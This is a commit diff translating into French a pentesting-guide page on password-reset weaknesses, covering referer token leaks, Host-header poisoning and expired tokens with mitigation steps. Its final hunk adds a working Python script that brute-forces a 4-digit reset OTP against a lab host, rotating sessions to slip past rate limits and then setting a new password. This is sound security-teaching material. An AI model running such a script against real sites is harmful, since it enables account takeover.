Translated ['src/pentesting-web/reset-password.md'] to fr

This commit is contained in:
Translator 2025-04-13 14:42:42 +00:00
parent 3bb2b250c7
commit cba80c1a0c

View File

@ -1,10 +1,10 @@
# Réinitialisation/oubli de mot de passe
# Réinitialisation/Mot de passe oublié Bypass
{{#include ../banners/hacktricks-training.md}}
## **Fuite de jeton de réinitialisation de mot de passe via le référent**
- L'en-tête HTTP referer peut divulguer le jeton de réinitialisation de mot de passe s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe.
- L'en-tête HTTP referer peut fuir le jeton de réinitialisation de mot de passe s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe.
- **Impact** : Prise de contrôle potentielle du compte via des attaques de Cross-Site Request Forgery (CSRF).
- **Exploitation** : Pour vérifier si un jeton de réinitialisation de mot de passe fuit dans l'en-tête référent, **demandez une réinitialisation de mot de passe** à votre adresse e-mail et **cliquez sur le lien de réinitialisation** fourni. **Ne changez pas votre mot de passe** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes avec Burp Suite**. Inspectez les requêtes pour voir si **l'en-tête référent contient le jeton de réinitialisation de mot de passe**, car cela pourrait exposer des informations sensibles à des tiers.
- **Références** :
@ -15,7 +15,7 @@
## **Empoisonnement de réinitialisation de mot de passe**
- Les attaquants peuvent manipuler l'en-tête Host lors des demandes de réinitialisation de mot de passe pour pointer le lien de réinitialisation vers un site malveillant.
- **Impact** : Conduit à une prise de contrôle potentielle du compte en divulguant des jetons de réinitialisation aux attaquants.
- **Impact** : Conduit à une prise de contrôle potentielle du compte en fuyant les jetons de réinitialisation aux attaquants.
- **Étapes d'atténuation** :
- Validez l'en-tête Host par rapport à une liste blanche de domaines autorisés.
- Utilisez des méthodes sécurisées côté serveur pour générer des URL absolues.
@ -135,7 +135,7 @@ uuid-insecurities.md
- **Référence** :
- [Bug critique dans un événement de bug bounty en direct](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Utilisation de jeton expiré**
## **Utilisation d'un jeton expiré**
- Tester si des jetons expirés peuvent encore être utilisés pour la réinitialisation de mot de passe.
- **Étapes d'atténuation** :
@ -156,7 +156,7 @@ uuid-insecurities.md
## **Invalidation de session lors de la déconnexion/réinitialisation de mot de passe**
- Assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe.
- S'assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe.
- **Étapes d'atténuation** :
- Mettez en œuvre une gestion appropriée des sessions, en veillant à ce que toutes les sessions soient invalidées lors de la déconnexion ou de la réinitialisation du mot de passe.
@ -166,6 +166,70 @@ uuid-insecurities.md
- **Étapes d'atténuation** :
- Définissez un temps d'expiration raisonnable pour les jetons de réinitialisation et appliquez-le strictement côté serveur.
## **Contournement de la limite de taux OTP en changeant votre session**
- Si le site utilise la session utilisateur pour suivre les tentatives de mauvais OTP et que l'OTP était faible (<= 4 chiffres), nous pouvons effectivement forcer l'OTP.
- **exploitation** :
- il suffit de demander un nouveau jeton de session après avoir été bloqué par le serveur.
- **Exemple** de code qui exploite ce bug en devinant aléatoirement l'OTP (lorsque vous changez la session, l'OTP changera également, et nous ne pourrons donc pas le forcer séquentiellement !) :
``` python
# Contournement d'authentification par réinitialisation de mot de passe
# par coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Démarrage de l'attaque !")
sleep(3)
print("[+] Cela pourrait prendre environ 5 minutes pour finir !")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nombre aléatoire de 0 à 9999 avec 4 d
parms["s"] = 164 # pas important, cela n'affecte que le frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # suivre le nombre d'essais
out = requests.get(logout,headers=headers) # vous déconnecter
mainp = requests.get(root) # obtient un autre phpssid (jeton)
cookies = out.cookies # extraire le sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # mettre à jour les en-têtes avec la nouvelle session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envoie l'email pour changer le mot de passe pour
ter = 0 # réinitialiser ter pour obtenir une nouvelle session après 8 essais
else:
ter += 1
if(len(res.text) == 2292): # c'est la longueur de la page lorsque vous obtenez le code de récupération correctement (obtenu par test)
print(len(res.text)) # pour info de débogage
print(phpsessid)
reset_data = { # ici nous allons changer le mot de passe en quelque chose de nouveau
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Le mot de passe a été changé en :D37djkamd!")
break
except Exception as e:
print("[+] Attaque arrêtée")
```
## Références
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)